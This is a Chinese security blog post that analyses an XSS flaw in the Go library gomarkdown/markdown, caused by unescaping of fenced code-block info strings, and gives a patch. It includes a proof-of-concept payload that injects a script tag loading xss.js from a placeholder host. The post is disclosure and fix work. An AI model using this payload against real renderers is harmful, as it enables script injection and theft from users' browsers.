【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

admin 2022年1月11日10:30:41安全文章评论12 views1822字阅读6分4秒阅读模式

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

 




前言

gomarkdown/markdown 是 Go 语言的一个流行模块,它旨在快速地将 Markdown 文档转化为 HTML 页面。而此次发现的漏洞,来源于作者在编写其语法树 Parser 的时候无意的一次 unescape。

 




漏洞复现

我们首先来看一段代码。

package mainimport (    "fmt"    "github.com/gomarkdown/markdown"    "html")func main() {    var textToRender = "```"1;><script/src="http://HOST/xss.js"></script>nn```n"    var middleware = html.EscapeString(textToRender)    var result = markdown.ToHTML([]byte(middleware), nil, nil)    fmt.Println(string(result))}

大部分人一眼看过来,发现有 html.EscapeString 方法进行过滤,可能就跟笔者一开始一样,认为这里一定没什么问题。其实不然,我们可以采用 v0.0.0-20210514010506-3b9f47219fe7,也就是笔者提交 issue 之前的最新版本来试一下,看结果会怎样。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

可以发现我们原本使用 html.EscapeString 进行转义的字符不受影响地出现在了结果中,从而导致了 script 标签被单独完整地渲染到 HTML,从而引入了一个外部 js 文件。更进一步的说,为 XSS 提供了完美的条件。

 




漏洞分析

使用上述给出的代码进行调试,先看一个调用栈。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

从 ToHTML 方法进来之后直接到 doc := Parse(markdown, p),从而进入了 Parse 这个方法。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

然后就是调用到 block 方法对输入的 Markdown 字符串进行分块的处理。在逐一判断到代码块后进入了 fencedCodeBlock 方法。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

在其中将代码块的内容分解填入对象之后,会进入 finalizeCodeBlock 进行一个收尾工作。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

跟进去之后可以发现这个方法是这样的。

func finalizeCodeBlock(code *ast.CodeBlock) {    c := code.Content    if code.IsFenced {        newlinePos := bytes.IndexByte(c, 'n')        firstLine := c[:newlinePos]        rest := c[newlinePos+1:]        code.Info = unescapeString(bytes.Trim(firstLine, "n"))        code.Literal = rest    } else {        code.Literal = c    }    code.Content = nil}

code.Info 的内容被 unescapeString 处理了一次,也就是最后得到意外结果的问题根源。接着往后跟踪,可以发现处理后的内容被放进对象 p 后直接利用语法树完成了渲染,最终得到 HTML 字符串,而被解码后的内容并没有被二次转义。

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

因此,最后得到的字符串就出现了上文的问题。

 




漏洞的修复

由于漏洞的产生是因为解码后没有再次编码,因此可以将其使用 html.EscapeString 重新处理一次,将原有的语句做如下替换。

- code.Info = unescapeString(bytes.Trim(firstLine, "n"))+ code.Info = []byte(html.EscapeString(string(unescapeString(bytes.Trim(firstLine, "n")))))

此时再重新运行一次文章开始时给出的代码,可以得到如下结果。

<pre><code class="language-"1;&gt;&lt;script/src="http://HOST/xss.js"&gt;&lt;/script&gt;"></code></pre>

可以发现由于再次进行了 HTML 实体转义,script 标签没有被独立渲染,从而避免了 XSS 的产生。【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析


- End -
精彩推荐
【技术分享】祥云杯 By 天璇Merak
【技术分享】K8S Runtime入侵检测之Falco
【技术分享】在MSSQL中使用CLR组件提权
【技术分享】第五届XMan选拔赛 nowaypwn Writeup
【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析
戳“阅读原文”查看更多内容

本文始发于微信公众号(安全客):【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月11日10:30:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【技术分享】gomarkdown/markdown 项目的 XSS 漏洞产生与分析 http://cn-sec.com/archives/470685.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: